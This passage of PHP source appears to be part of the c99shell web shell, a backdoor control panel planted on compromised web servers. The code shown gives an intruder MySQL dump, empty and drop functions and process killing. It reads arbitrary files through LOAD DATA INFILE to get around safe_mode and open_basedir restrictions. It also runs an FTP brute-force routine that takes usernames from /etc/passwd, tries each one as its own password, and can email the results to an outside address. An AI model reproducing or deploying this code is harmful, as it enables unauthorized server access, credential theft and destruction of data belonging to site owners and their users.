1197     ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php 
1198     if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} 
1199     if ($sql_act == "newtbl") 
1200     { 
1201      echo "<b>"; 
1202      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; 
1203     } 
1204     else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} 
1205    } 
1206    elseif ($sql_act == "dump") 
1207    { 
1208     if (empty($submit)) 
1209     { 
1210      $diplay = FALSE; 
1211      echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; 
1212      echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; 
1213      $v = join (";",$dmptbls); 
1214      echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; 
1215      if ($dump_file) {$tmp = $dump_file;} 
1216      else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} 
1217      echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; 
1218      echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; 
1219      echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; 
1220      echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; 
1221      echo "</form>"; 
1222     } 
1223     else 
1224     { 
1225      $diplay = TRUE; 
1226      $set = array(); 
1227      $set["sock"] = $sql_sock; 
1228      $set["db"] = $sql_db; 
1229      $dump_out = "download"; 
1230      $set["print"] = 0; 
1231      $set["nl2br"] = 0; 
1232      $set[""] = 0; 
1233      $set["file"] = $dump_file; 
1234      $set["add_drop"] = TRUE; 
1235      $set["onlytabs"] = array(); 
1236      if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} 
1237      $ret = mysql_dump($set); 
1238      if ($sql_dump_download) 
1239      { 
1240       @ob_clean(); 
1241       header("Content-type: application/octet-stream"); 
1242       header("Content-length: ".strlen($ret)); 
1243       header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); 
1244       echo $ret; 
1245       exit; 
1246      } 
1247      elseif ($sql_dump_savetofile) 
1248      { 
1249       $fp = fopen($sql_dump_file,"w"); 
1250       if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} 
1251       else 
1252       { 
1253        fwrite($fp,$ret); 
1254        fclose($fp); 
1255        echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; 
1256       } 
1257      } 
1258      else {echo "<b>Dump: nothing to do!</b>";} 
1259     } 
1260    } 
1261    if ($diplay) 
1262    { 
1263     if (!empty($sql_tbl)) 
1264     { 
1265      if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} 
1266      $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); 
1267      $count_row = mysql_fetch_array($count); 
1268      mysql_free_result($count); 
1269      $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); 
1270      $tbl_struct_fields = array(); 
1271      while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} 
1272      if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} 
1273      if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} 
1274      if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} 
1275      if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} 
1276      $perpage = $sql_tbl_le - $sql_tbl_ls; 
1277      if (!is_numeric($perpage)) {$perpage = 10;} 
1278      $numpages = $count_row[0]/$perpage; 
1279      $e = explode(" ",$sql_order); 
1280      if (count($e) == 2) 
1281      { 
1282       if ($e[0] == "d") {$asc_desc = "DESC";} 
1283       else {$asc_desc = "ASC";} 
1284       $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; 
1285      } 
1286      else {$v = "";} 
1287      $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; 
1288      $result = mysql_query($query) or print(mysql_smarterror()); 
1289      echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; 
1290      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; 
1291      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; 
1292      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; 
1293      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; 
1294      if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} 
1295      if ($sql_tbl_act == "insert") 
1296      { 
1297       if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} 
1298       if (!empty($sql_tbl_insert_radio)) 
1299       { 
1300       } 
1301       else 
1302       { 
1303        echo "<br><br><b>Inserting row into table:</b><br>"; 
1304        if (!empty($sql_tbl_insert_q)) 
1305        { 
1306         $sql_query = "SELECT * FROM `".$sql_tbl."`"; 
1307         $sql_query .= " WHERE".$sql_tbl_insert_q; 
1308         $sql_query .= " LIMIT 1;"; 
1309         $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); 
1310         $values = mysql_fetch_assoc($result); 
1311         mysql_free_result($result); 
1312        } 
1313        else {$values = array();} 
1314        echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; 
1315        foreach ($tbl_struct_fields as $field) 
1316        { 
1317         $name = $field["Field"]; 
1318         if (empty($sql_tbl_insert_q)) {$v = "";} 
1319         echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; 
1320         $i++; 
1321        } 
1322        echo "</table><br>"; 
1323        echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; 
1324        if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} 
1325        echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; 
1326       } 
1327      } 
1328      if ($sql_tbl_act == "browse") 
1329      { 
1330       $sql_tbl_ls = abs($sql_tbl_ls); 
1331       $sql_tbl_le = abs($sql_tbl_le); 
1332       echo "<hr size=\"1\" noshade>"; 
1333       echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; 
1334       $b = 0; 
1335       for($i=0;$i<$numpages;$i++) 
1336       { 
1337        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} 
1338        echo $i; 
1339        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} 
1340        if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} 
1341        else {echo "&nbsp;";} 
1342       } 
1343       if ($i == 0) {echo "empty";} 
1344       echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; 
1345       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1>"; 
1346       echo "<tr>"; 
1347       echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; 
1348       for ($i=0;$i<mysql_num_fields($result);$i++) 
1349       { 
1350        $v = mysql_field_name($result,$i); 
1351        if ($e[0] == "a") {$s = "d"; $m = "asc";} 
1352        else {$s = "a"; $m = "desc";} 
1353        echo "<td>"; 
1354        if (empty($e[0])) {$e[0] = "a";} 
1355        if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} 
1356        else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} 
1357        echo "</td>"; 
1358       } 
1359       echo "<td><font color=\"green\"><b>Action</b></font></td>"; 
1360       echo "</tr>"; 
1361       while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) 
1362       { 
1363        echo "<tr>"; 
1364        $w = ""; 
1365        $i = 0; 
1366        foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} 
1367        if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} 
1368        echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; 
1369        $i = 0; 
1370        foreach ($row as $k=>$v) 
1371        { 
1372         $v = htmlspecialchars($v); 
1373         if ($v == "") {$v = "<font color=\"green\">NULL</font>";} 
1374         echo "<td>".$v."</td>"; 
1375         $i++; 
1376        } 
1377        echo "<td>"; 
1378        echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; 
1379        echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; 
1380        echo "</td>"; 
1381        echo "</tr>"; 
1382       } 
1383       mysql_free_result($result); 
1384       echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; 
1385       echo "<option value=\"\">With selected:</option>"; 
1386       echo "<option value=\"deleterow\">Delete</option>"; 
1387       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; 
1388      } 
1389     } 
1390     else 
1391     { 
1392      $result = mysql_query("SHOW TABLE STATUS", $sql_sock); 
1393      if (!$result) {echo mysql_smarterror();} 
1394      else 
1395      { 
1396       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; 
1397       $i = 0; 
1398       $tsize = $trows = 0; 
1399       while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) 
1400       { 
1401        $tsize += $row["Data_length"]; 
1402        $trows += $row["Rows"]; 
1403        $size = view_size($row["Data_length"]); 
1404        echo "<tr>"; 
1405        echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; 
1406        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; 
1407        echo "<td>".$row["Rows"]."</td>"; 
1408        echo "<td>".$row["Type"]."</td>"; 
1409        echo "<td>".$row["Create_time"]."</td>"; 
1410        echo "<td>".$row["Update_time"]."</td>"; 
1411        echo "<td>".$size."</td>"; 
1412        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; 
1413        echo "</tr>"; 
1414        $i++; 
1415       } 
1416       echo "<tr bgcolor=\"000000\">"; 
1417       echo "<td><center><b>?</b></center></td>"; 
1418       echo "<td><center><b>".$i." table(s)</b></center></td>"; 
1419       echo "<td><b>".$trows."</b></td>"; 
1420       echo "<td>".$row[1]."</td>"; 
1421       echo "<td>".$row[10]."</td>"; 
1422       echo "<td>".$row[11]."</td>"; 
1423       echo "<td><b>".view_size($tsize)."</b></td>"; 
1424       echo "<td></td>"; 
1425       echo "</tr>"; 
1426       echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; 
1427       echo "<option value=\"\">With selected:</option>"; 
1428       echo "<option value=\"tbldrop\">Drop</option>"; 
1429       echo "<option value=\"tblempty\">Empty</option>"; 
1430       echo "<option value=\"tbldump\">Dump</option>"; 
1431       echo "<option value=\"tblcheck\">Check table</option>"; 
1432       echo "<option value=\"tbloptimize\">Optimize table</option>"; 
1433       echo "<option value=\"tblrepair\">Repair table</option>"; 
1434       echo "<option value=\"tblanalyze\">Analyze table</option>"; 
1435       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; 
1436       mysql_free_result($result); 
1437      } 
1438     } 
1439    } 
1440    } 
1441   } 
1442   else 
1443   { 
1444    $acts = array("","newdb","serverstatus","servervars","processes","getfile"); 
1445    if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } 
1446    if (!empty($sql_act)) 
1447    { 
1448     echo "<hr size=\"1\" noshade>"; 
1449     if ($sql_act == "newdb") 
1450     { 
1451      echo "<b>"; 
1452      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} 
1453      else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} 
1454     } 
1455     if ($sql_act == "serverstatus") 
1456     { 
1457      $result = mysql_query("SHOW STATUS", $sql_sock); 
1458      echo "<center><b>Server-status variables:</b><br><br>"; 
1459      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; 
1460      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} 
1461      echo "</table></center>"; 
1462      mysql_free_result($result); 
1463     } 
1464     if ($sql_act == "servervars") 
1465     { 
1466      $result = mysql_query("SHOW VARIABLES", $sql_sock); 
1467      echo "<center><b>Server variables:</b><br><br>"; 
1468      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; 
1469      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} 
1470      echo "</table>"; 
1471      mysql_free_result($result); 
1472     } 
1473     if ($sql_act == "processes") 
1474     { 
1475      if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} 
1476      $result = mysql_query("SHOW PROCESSLIST", $sql_sock); 
1477      echo "<center><b>Processes:</b><br><br>"; 
1478      echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#000000 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; 
1479      while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} 
1480      echo "</table>"; 
1481      mysql_free_result($result); 
1482     } 
1483     if ($sql_act == "getfile") 
1484     { 
1485      $tmpdb = $sql_login."_tmpdb"; 
1486      $select = mysql_select_db($tmpdb); 
1487      if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} 
1488      if ($select) 
1489      { 
1490       $created = FALSE; 
1491       mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); 
1492       mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); 
1493       $result = mysql_query("SELECT * FROM tmp_file;"); 
1494       if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} 
1495       else 
1496       { 
1497        for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} 
1498        $f = ""; 
1499        while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} 
1500        if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} 
1501        else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} 
1502        mysql_free_result($result); 
1503        mysql_query("DROP TABLE tmp_file;"); 
1504       } 
1505      } 
1506      mysql_drop_db($tmpdb); //comment it if you want to leave database 
1507     } 
1508    } 
1509   } 
1510  } 
1511  echo "</td></tr></table>"; 
1512  if ($sql_sock) 
1513  { 
1514   $affected = @mysql_affected_rows($sql_sock); 
1515   if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} 
1516   echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; 
1517  } 
1518  echo "</table>"; 
1519 } 
1520 if ($act == "mkdir") 
1521 { 
1522  if ($mkdir != $d) 
1523  { 
1524   if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} 
1525   elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} 
1526   echo "<br><br>"; 
1527  } 
1528  $act = $dspact = "ls"; 
1529 } 
1530 if ($act == "ftpquickbrute") 
1531 { 
1532  echo "<b>Ftp Quick brute:</b><br>"; 
1533  if (!win) {echo "This functions not work in Windows!<br><br>";} 
1534  else 
1535  { 
1536   function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) 
1537   { 
1538    if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} 
1539    else {$TRUE = TRUE;} 
1540    if ($TRUE) 
1541    { 
1542     $sock = @ftp_connect($host,$port,$timeout); 
1543     if (@ftp_login($sock,$login,$pass)) 
1544     { 
1545      echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; 
1546      ob_flush(); 
1547      return TRUE; 
1548     } 
1549    } 
1550   } 
1551   if (!empty($submit)) 
1552   { 
1553    if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} 
1554    $fp = fopen("/etc/passwd","r"); 
1555    if (!$fp) {echo "Can't get /etc/passwd for password-list.";} 
1556    else 
1557    { 
1558     if ($fqb_logging) 
1559     { 
1560      if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} 
1561      else {$fqb_logfp = FALSE;} 
1562      $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; 
1563      if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} 
1564     } 
1565     ob_flush(); 
1566     $i = $success = 0; 
1567     $ftpquick_st = getmicrotime(); 
1568     while(!feof($fp)) 
1569     { 
1570      $str = explode(":",fgets($fp,2048)); 
1571      if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) 
1572      { 
1573       echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; 
1574       $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; 
1575       if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} 
1576       $success++; 
1577       ob_flush(); 
1578      } 
1579      if ($i > $fqb_lenght) {break;} 
1580      $i++; 
1581     } 
1582     if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} 
1583     $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); 
1584     echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; 
1585     $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; 
1586     if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} 
1587     if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);} 
1588     fclose($fqb_logfp); 
1589    } 
1590   } 
1591   else 
1592   { 
1593    $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; 
1594    $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); 
